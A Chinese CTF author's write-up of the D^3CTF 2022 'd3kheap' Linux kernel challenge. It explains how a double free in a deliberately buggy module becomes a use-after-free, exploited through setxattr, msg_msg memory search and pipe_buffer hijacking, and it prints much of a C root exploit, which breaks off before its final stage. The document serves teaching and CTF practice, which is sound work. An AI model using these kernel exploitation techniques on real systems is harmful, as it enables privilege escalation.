【CTF.0x06】D^ 3CTF2022 d3kheap 出题手记

本文最后更新于:2022年5月17日 凌晨

听说 sb 出题人把 exp 也给打包发布了,比赛结束才发现

0x00.一切开始之前

本题的原型来自于笔者大三上学期面试国内某安全大厂时的一道面试题,当时的问题是:

  • “在保护全开的情况下若是给你一个内核空间中的 double free,大小为███,你该怎样去利用?”

笔者在当时并未答出一个令面试官较为满意的答案,之后笔者重新思考,发现这是一个十分有意思的问题:这十分贴近于现实内核漏洞的抽象模型之一。

相比于 CTF 中 pwn 题所给予的“优越”的环境,现实中的漏洞往往就只是一个引用计数错误导致的 double free、一个溢出(可能只是一个 \0 字节)、一个垂悬指针导致的 UAF…在这种漏洞环境当中,我们并没有“出题人”给予我们的“菜单堆”的各种功能

因此,在这样“恶劣”的漏洞环境之下,我们不能仅仅寄希望于这个漏洞有一个较好的品相、既能帮我们泄露内核基址又能帮我们劫持控制流,而应当更多地借助内核本身提供给我们的工具,以寻求更为通用的解法

如何寻求更为通用的解法?大家都知道对于用户态的 glibc 堆题而言我们往往有着一种通用解法——将漏洞转为 UAF。无论是 overlapping 、double free、overflow…最终我们都可以通过将其转化为 UAF 完成利用,这个法则对于“内核堆”而言同样有效

基于这种思想,对于内核中的 double free、堆溢出等漏洞,我们都可以想方法将其化为 UAF,之后再通过通用的解法完成解题——本题便是笔者对于在内核漏洞利用的 UAF 阶段之后通用的解法的一个探索与尝试

0x01.题目分析

笔者在 README.md 中额外说明了内核的如下编译选项:

1
2
3
4
5
6
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SLUB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y

即除了 FG-KASLR 以外大部分主流的保护都开启了

因为笔者更希望大家能够关注于漏洞利用上,因此题目本身的逻辑十分简单,只提供了一个 ioctl “菜单”,有效的功能只有分配与释放 buf,分配的大小为 1024

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
long d3kheap_ioctl(struct file *__file, unsigned int cmd, unsigned long param)
{
spin_lock(&spin);

switch (cmd)
{
case OBJ_ADD:
if (buf)
{
printk(KERN_ALERT "[d3kheap:] You already had a buffer!");
break;
}
buf = kmalloc(1024, GFP_KERNEL);
ref_count++;
printk(KERN_INFO "[d3kheap:] Alloc done.\n");
break;
case OBJ_EDIT:
printk(KERN_ALERT "[d3kheap:] Function not completed yet, because I\'m a pigeon!");
break;
case OBJ_SHOW:
printk(KERN_ALERT "[d3kheap:] Function not completed yet, because I\'m a pigeon!");
break;
case OBJ_DEL:
if (!buf)
{
printk(KERN_ALERT "[d3kheap:] You don\'t had a buffer!");
break;
}
if (!ref_count)
{
printk(KERN_ALERT "[d3kheap:] The buf already free!");
break;
}
ref_count--;
kfree(buf);
printk(KERN_INFO "[d3kheap:] Free done.\n");
break;
default:
printk(KERN_ALERT "[d3kheap:] Invalid instructions.\n");
break;
}

spin_unlock(&spin);

return 0;
}

涉及到的两个全局变量初始值如下:

1
2
static void *buf = NULL;
static int ref_count = 1;

根据 ioctl 的逻辑,当我们分配了一个 object 之后 ioctl 的分配功能就无效了,而每当我们进行一次释放,ref_count 便会减一,当其为 0 时 ioctl 的释放功能也被无效化

漏洞点很明显,对 ref_count 的错误初始化导致我们可以释放 buf 两次,即该模块只提供给你三次操作机会,一次分配,两次释放,我们不能通过漏洞模块对 buf 进行任何额外的操作(例如读/写),本质上就是——“给你一次内核空间中大小为 1024 的 object 的 double free 的机会,保护全开,你该如何去利用?”

0x02.漏洞利用

因为在 slub_free 中有着对 double free 的简单检查(类似于 glibc 中的 fastbin,会检查 freelist 指向的第一个 object),因此我们不能够直接进行 double free,而应该将其转化为 UAF 进行利用

构造 UAF

我们首先需要构造一个 UAF,我们不难想到如下利用链:

  • 分配一个 1024 大小的 object
  • 释放该 object
  • 将其分配到别的结构体(victim)上
  • 释放该 object

此时 victim 虽然还处在使用阶段,但是在 slub 中其同时也被视为一个 free object,我们此时便完成了 UAF 的构造,由于 slub 遵循 LIFO,因此接下来分配的第一个大小为 1024 的 object 便会是 victim

接下来有两种解法,一种是笔者最初想到的比较笨重的内存搜索解法,另一种是基于 Google 在 CVE-2021-22555 中给出的通用 UAF 解法

解法一:利用 setxattr 多次劫持 msg_msg

Step.I setxattr 修改 object 内容

接下来我们思考如何对一个 free 状态的 object 内写入数据,这里笔者要向大家介绍一个名为 setxattr 的系统调用(对内核安全稍有研究的同学应该都接触过)

setxattr 是一个十分独特的系统调用族,抛开其本身的功能,在 kernel 的利用当中他可以为我们提供近乎任意大小的内核空间 object 分配

观察 setxattr 源码,发现如下调用链:

1
2
3
SYS_setxattr()
path_setxattr()
setxattr()

setxattr() 函数中有如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {

//,..

kvfree(kvalue);

return error;
}

这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容,完成写入之后该 object 又会通过 kvfree 被释放掉,因此我们便可以通过 setxattr 多次修改 victim 的内容

不够完美的一点是,slub 中 free 的 object 同样是连接成一个单向链表,因此我们无法控制该 object 中 kmem_cache->offset 偏移处的 8 字节的内容,但这个 offset 的存在也从另一个侧面提供给了我们便利,在接下来的利用中你会看到这一点

可能有的人还会想到 userfaultfd + setxattr 这一技术,或许可以利用这个技术劫持 freelist 完成任意地址分配与任意地址写?但是自从内核版本 5.11 起,userfaultfd 被限制为默认情况下只有 root 权限才能使用,因此这条路暂时是走不通的,我们接下来要找一个不是特别受分配大小影响的结构体

Step.II msg_msg 搜索内存完成地址泄露

现在我们有了「写的原语」,接下来我们要寻找「读的原语」,在 Linux kernel 中有着一组 system V 消息队列相关的系统调用:

  • msgget:创建一个消息队列
  • msgsnd:向指定消息队列发送消息
  • msgrcv:从指定消息队列接接收消息

当我们创建一个消息队列时,在内核空间中会创建这样一个结构体,其表示一个消息队列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* one msq_queue structure for each present queue on the system */
struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

而当我们调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,在内核空间中会创建这样一个结构体:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

在内核当中这两个结构体形成一个如下结构的循环双向链表:

image.png

若是消息队列中只有一个消息则是这样:

image.png

接下来我们来深入 msg_msg 的内部结构,阅读 msgsnd 源码可知,当我们在消息队列上发送一个 message 时,其首先会调用 load_msg 将该 message 拷贝到内核中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

msg = load_msg(mtext, msgsz);

//...

load_msg() 最终会调用到 alloc_msg() 分配所需的空间

1
2
3
4
5
6
7
8
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);

阅读 alloc_msg() 源码可以发现,其以 msg_msg 结构体为核心生成如下结构:

  • 对于大小在【一个页面再减掉作为 header 的 msg_msg 的 size】范围内的数据而言,内核仅会分配一个 size + header size 大小的 object(通过 kmalloc),其前 0x30 大小的部分存放 msg_msg 这一 header,剩余部分用以存放用户数据
  • 对于大小超出【一个页面再减掉作为 header 的 msg_msg 的 size】范围的数据而言,其会额外生成 msg_msgseg 结构体来存放用户数据,通过 kmalloc 分配,大小为剩余未拷贝的用户数据大小加上 next 指针;该结构体与 msg_msg 的 next 成员形成一个单向链表,其前 8 字节存放指向下一个 msg_msgseg 的指针,若无则为 NULL

image.png

我们不难想到的是,我们可以分配一个大小为 1024 的 msg_msg 结构体作为 victim,利用 setxattr 系统调用修改其 header 中的 m_ts 成员,从而实现堆上的越界数据读取,同时还能通过修改 msg_msg->next 实现任意地址读

但是这样有一个问题,当我们调用 msgrcv 接受消息时,其会调用 list_del() 将对应的 msg_msg 结构体从双向链表中 unlink,此时我们并不知道内核空间中的任何地址,因此内核会在 unlink 时 panic 掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
//...
list_del(&msg->m_list);
//...
goto out_unlock0;
//...
out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

return bufsz;
}

因此我们需要想一个方法既能读出 msg_msg 中数据又不会让其被非法 unlink 掉,阅读源码我们会发现,当我们在调用 msgrcv 时若设置了 MSG_COPY 标志位,则内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink,从而我们便可以多次重复地读取同一个 msg_msg 结构体中数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//...

if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy))
return PTR_ERR(copy);
}

//...

/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//...

接下来我们考虑越界读取的详细过程,我们首先可以利用 setxattr 修改 msg_msg 的 next 指针为 NULL、将其 m_ts 改为 0x1000 - 0x30(在 next 指针为 NULL 的情况下,一个 msg_msg 结构体最大占用一张内存页的大小),从而越界读出内核堆上数据

接下来我们思考如何进行“合法”的搜索,我们先来看 copy_msg 的逻辑,其拷贝时判断待数据长度的逻辑主要是看 next 指针,因此若我们的 next 指针为一个非法地址,则会在解引用时导致 kernel panic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
struct msg_msgseg *dst_pseg, *src_pseg;
size_t len = src->m_ts;
size_t alen;

if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);

alen = min(len, DATALEN_MSG);
memcpy(dst + 1, src + 1, alen);

for (dst_pseg = dst->next, src_pseg = src->next;
src_pseg != NULL;
dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

len -= alen;
alen = min(len, DATALEN_SEG);
memcpy(dst_pseg + 1, src_pseg + 1, alen);
}

dst->m_type = src->m_type;
dst->m_ts = src->m_ts;

return dst;
}

因此我们需要确保获得一个合法的堆上地址进行搜索的同时确保我们所构造的next 链上皆为合法地址,并以 NULL 结尾,如何找到这样一个地址?

我们都知道,slub 会向 buddy system 申请一张或多张连续内存页,将其分割为指定大小的 object 之后再返还给 kmalloc 的 caller,对于大小为 1024 的 object,其每次申请的连续内存页为四张,分为 16 个 object

1
2
3
4
5
6
7
$ sudo cat /proc/sla 
Password:
slabinfo - version: 2.1
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
# ...
kmalloc-1k 3341 3584 1024 16 4 : tunables 0 0 0 : slabdata 224 224 0
# ...

我们不难想到的是,若是我们分配多个大小同为 1024 的 msg_msg 结构体,则其很容易落在地址连续的 4 张内存页上,此时若是我们从其中一个 msg_msg 结构体向后进行越界读,则很容易读取到其他的 msg_msg 结构体的数据,其 m_list 成员可以帮助我们泄露出一个堆上地址

那么这个堆上地址指向哪呢?让我们将目光重新放回 msg_queuemsg_msg 结构体之间的关系,当一个消息上只有一个 message 时,我们不难看出 msg_msg 的 prev 与 next 指针都指向 msg_queue 的 q_messages 域,对应地, msg_queue->q_message 的 prev 与 next 也同样指向 msg_msg 的 m_list

image.png

此时我们不难想到,我们可以将 msg_msg 的 next 指针指回 msg_queue,从而读出上面的指向 msg_msg 的指针,将未知的地址变为已知的地址,之后我们在搜索时便可以选择从该地址开始搜索,这样我们就能知道每次搜索时获得的每一条数据的地址,从而在每次搜索时能够挑选已知数据为 NULL 的区域作为 next->next 以避免 kernel panic,以此获得连续的搜索内存的能力

但是这有一个小要求,我们在泄露 msg_msg 地址时应当选取 msg_queue->q_message 往前的一块为 NULL 的区域作为 msg_msg->next,不过令笔者欣喜的是,msg_queue->q_lrpid 在未使用 msgrcv 接收消息时为 NULL,该成员在 q_message 成员向前的 8 字节处,因此我们可以将 next 指针指向这个位置

image.png

泄露出 msg_msg 的地址之后就可以开始愉快的内存搜索了,至于在泄露出内核代码段上指针后如何计算出内核代码段基址,笔者这里的做法比较笨:将经常出现的内核指针做成一个字典,之后直接 query 即可,若字典未命中则继续搜索

可能有的人会想到一个更为快捷的办法:因为我们已经获得了内核的“堆上地址”,所以我们可以去猜测“堆的基址”(page_offset_base),在 page_offset_base + 0x9d000固定存放着 secondary_startup_64 函数的地址,而这个地址前面刚好有一片为 0 的区域方便我们的 next 指针进行指向

但这个做法有一定的风险:若是我们猜错了则很容易导致 kernel panic,且经笔者尝试会在我们的下一步中导致 kernel panic(也可能是笔者的构造存在缺陷),所以笔者还是更推荐大家只用内存搜索的办法

Step.III 构造 A->B->A 式 freelist 劫持新的结构体

现在地址泄露的工作已经完成了,接下来我们来考虑如何进行提权,比较朴素的提权方法有两种:修改进程 cred 结构体或是劫持内核执行流

对于前一种方法我们需要获得内核中的任意地址写,可能此时有的同学已经想到了利用 userfaultfd + msg_msg 这一任意写方法,而现在我们有着内存搜索技术,自然可以直接使用 prctl 设置 task_struct 的 comm 成员后进行暴力搜索,但首先我们并不知道 PCB 地址在当前已知堆地址的前方还是后方,无论搜索前向越界还是后向越界到了非法地址都会引起 kernel panic,且自内核版本 5.11 起 userfaultfd 系统调用被限制为 root 权限才能使用,因此笔者选择控制一些有着函数指针的结构体从而劫持内核执行流

那么我们要将该 object 分配到别的地方,还要能对其进行修改,那么我们必须要先将该 object 放回 slub 中,因为此时该 object 虽为 free 状态,但当我们将其分配到别的结构体上后我们便无法再控制其内容,因为此时原 msg_msg 结构体的数据会被新结构体覆盖,无法正常被释放(过不了 msgrcv 中的 unlink)

因此接下来我们的工作便是先维修 msg_msg 中的双向链表,让其指向内核堆上一个合法的地址,同时让 next 指针为 NULL 即可,这里我们可以直接选择使用 setxattr 完成修复,可能有的同学这里会有疑问:m_list 成员位于 msg_msg 的前 16 字节,在 setxattr 将其放回 slub 时难道不会又将其修改为一个 slub 中的指针从而破坏双向链表么?开启了 hardened freelist 保护时 free object 的 next 指针字面量并非一个合法地址。这里我们就要说到 slub 的一个特性了:

  • 不同于 glibc 中空闲堆块固定使用前 8 字节的组织方式,在 slub 中空闲的 object 在其对应的 kmem_cache->offset 处存放下一个 free object 的指针(开启了 hardened freelist 保护时该值为当前 object 与 下一个 object 地址再与一个 random 值总共三个值进行异或的结果)

经笔者多次测试,对于这种较大的 object 而言,其 offset 通常会大于 msg_msg header 的大小,因此我们可以进行完美修复

修复完成之后我们考虑如何进行 double free,因为 slub 的释放函数并没有太多的保护,如同 glibc 中的 fastbin 一般只会检查 freelist 上的第一个 object,因此我们只需要像做用户态 pwn 题那样构造 A->B->A 的释放链便能将 UAF 再应用到其他内核结构体上

Step.IV pipe_buffer 劫持 RIP

最后我们来挑选一个内核结构体来劫持 RIP,这里笔者选择了 pipe_buffer 这一结构体,当我们创建一个管道时,在内核中会生成数个连续的该结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

而当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,因此我们只需要劫持其函数表即可,劫持的位置也很清晰:前面我们在搜索内存时获取到了其中一个 msg_msg 的地址,只需要减去其与被用于 UAF 的 object 的地址之间的偏移即可,这个偏移值在搜索过程中是可以计算出来的

之后我们将函数表劫持到 pipe_buffer 所处 object 上,在该 object 上布置好 ROP 链,再选一条合适的用于栈迁移的 gadget 即可

经笔者实测,此时的 rsi 寄存器指向 pipe_buffer,因此笔者选择了一条 push rsi ; pop rsp ; pop 4 vals ; ret 的 gadget 完成栈迁移

image.png

FINAL EXPLOIT

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>

#ifndef MSG_COPY
#define MSG_COPY 040000 /* copy (not remove) all queue messages */
#endif

#define OBJ_ADD 0x1234
#define OBJ_EDIT 0x4321
#define OBJ_SHOW 0xbeef
#define OBJ_DEL 0xdead

#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define SECONDARY_STARTUP_64 0xffffffff81000040

size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;

long dev_fd;
int pipe_fd[2], pipe_fd2[2], pipe_fd_1;

size_t kernelLeakQuery(size_t kernel_text_leak)
{
size_t kernel_offset = 0xdeadbeef;
switch (kernel_text_leak & 0xfff)
{
case 0x6e9:
kernel_offset = kernel_text_leak - 0xffffffff812b76e9;
break;
case 0x980:
kernel_offset = kernel_text_leak - 0xffffffff82101980;
break;
case 0x440:
kernel_offset = kernel_text_leak - 0xffffffff82e77440;
break;
case 0xde7:
kernel_offset = kernel_text_leak - 0xffffffff82411de7;
break;
case 0x4f0:
kernel_offset = kernel_text_leak - 0xffffffff817894f0;
break;
case 0xc90:
kernel_offset = kernel_text_leak - 0xffffffff833fac90;
break;
case 0x785:
kernel_offset = kernel_text_leak - 0xffffffff823c3785;
break;
case 0x990:
kernel_offset = kernel_text_leak - 0xffffffff810b2990;
break;
case 0x900:
kernel_offset = kernel_text_leak - 0xffffffff82e49900;
break;
case 0x8b4:
kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;
break;
case 0xc40:
kernel_offset = kernel_text_leak - 0xffffffff8204ac40;
break;
case 0x320:
kernel_offset = kernel_text_leak - 0xffffffff8155c320;
break;
case 0xee0:
kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;
break;
case 0x5e0:
kernel_offset = kernel_text_leak - 0xffffffff810e55e0;
break;
case 0xe80:
kernel_offset = kernel_text_leak - 0xffffffff82f05e80;
break;
case 0x260:
kernel_offset = kernel_text_leak - 0xffffffff82ec0260;
break;
default:
puts("[x] fill up your dict!");
break;
}
if ((kernel_offset % 0x100000) != 0) // miss hit?
kernel_offset = 0xdeadbeef;
return kernel_offset;
}

void add(void)
{
ioctl(dev_fd, OBJ_ADD);
}

void del(void)
{
ioctl(dev_fd, OBJ_DEL);
}

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("cat /flag;/bin/sh");
exit(EXIT_SUCCESS);
}

typedef struct
{
long mtype;
char mtext[1];
}msg;


struct list_head
{
struct list_head *next, *prev;
};

/* one msg_msg structure for each message */
struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};

int main(void)
{
size_t *buf;
size_t kernel_heap_leak = NULL;
size_t kernel_heap_search = NULL;
size_t kernel_text_leak = NULL;
size_t page_offset_base_guess = NULL;
size_t msg_offset, msg_offset_count;
size_t fake_ops_addr, fake_ops_offset, kmsg_addr;
int kmsg_idx;
int ms_qid[0x100];
int ret;
int rop_idx;
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);

saveStatus();

buf = malloc(0x4000);
memset(buf, 0, 0x4000);

dev_fd = open("/dev/d3kheap", O_RDONLY);

add();

del();

for (int i = 0; i < 5; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

for (int i = 0; i < 5; i++)
{
memset(buf, 'A' + i, 0X1000 - 8);
ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}

del();

// leak msg_queue addr from heap
memset(buf, 'Z', 0x1000 - 8);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = NULL;
((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;

setxattr("/tmp/exp", "arttnba3", buf, 1024 - 0x30, 0);

ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
{
printf("[x] msgrcv!");
return -1;
}
for (int i = 0; i < ((0x1000 - 0x30) / 8); i++)
{
printf("[----data dump----][%d] %p\n", i, buf[i]);
if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30)))
{
printf("[+] We got heap leak! kheap: %p\n", buf[i]);
kernel_heap_leak = buf[i];
kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A');
fake_ops_offset = i * 8 + 0x30 - 8;
}
if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak)
{
printf("[*] We got text leak! ktext: %p\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
}
}
if (kernel_text_leak && kernel_heap_leak)
break;
}

if (!kernel_heap_leak)
{
printf("[x] Failed to leak kernel heap!");
exit(-1);
}

// leak msg_msg addr
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = NULL;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;
((struct msg_msg*) buf)->next = kernel_heap_leak - 8;
((struct msg_msg*) buf)->security = NULL;

setxattr("/tmp/exp", "arttnba3", buf, 0x2e0, 0);

ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
{
puts("[x] msgrcv!");
exit(-1);
}
kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1];
/*puts("[*] leaking...");
for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8 ; i++)
printf("[----data dump----] %d: %p\n", i, buf[i]);*/
fake_ops_addr = kmsg_addr - fake_ops_offset;
printf("[+] UAF as fake ops addr at: %p, cal by msg idx: %d at addr: %p\n", fake_ops_addr, kmsg_idx, kmsg_addr);

// leak kernel text base if we didn't leak it before
kernel_heap_search = kmsg_addr - 8;
for (int leaking_times = 0; !kernel_text_leak; leaking_times++)
{
printf("[*] per leaking, no.%d time(s)\n", leaking_times);

((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = NULL;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;
((struct msg_msg*) buf)->next = kernel_heap_search;
((struct msg_msg*) buf)->security = NULL;

setxattr("/tmp/exp", "arttnba3", buf, 0x2e0, 0);
printf("[*] Now searching: %p\n", kernel_heap_search);

ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
{
puts("[x] msgrcv!");
kernel_heap_search += 0x1000 - 8;
continue;
}

msg_offset_count = 0;
msg_offset = 0xdeadbeefbad4f00d;
for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++)
{
printf("[----data dump----][%d] %p\n", i, buf[i]);
if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak)
{
printf("[*] We got text leak! ktext: %p\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
break;
}
}
if (!buf[i])
msg_offset = msg_offset_count * 8;
msg_offset_count++;
}

if (kernel_text_leak)
break;

if (msg_offset == 0xdeadbeefbad4f00d)
{
puts("[x] Failed to find next valid foothold!");
exit(EXIT_FAILURE);
}
kernel_heap_search += msg_offset; // to make the msg_msg->next == NULL, search from the last NULL
}

leak_out:
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);

// comfortably double free like A->B->A, its checking is as simple as the fastbin in ptmalloc2
((struct msg_msg*) buf)->m_list.next = kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass
((struct msg_msg*) buf)->m_list.prev = kernel_heap_search;
((struct msg_msg*) buf)->m_type = NULL;
((struct msg_msg*) buf)->m_ts = 1024 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;

// while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg
setxattr("/tmp/exp", "arttnba3", buf, 0x2e0, 0);

ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg
if (ret < 0)
{
puts("[x] msgrcv!");
return -1;
}

ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A
if (ret < 0)
{
puts("[x] msgrcv!");
return -1;
}

// regain UAF
pipe(pipe_fd);
pipe_fd_1 = pipe_fd[1];

pipe(pipe_fd2);

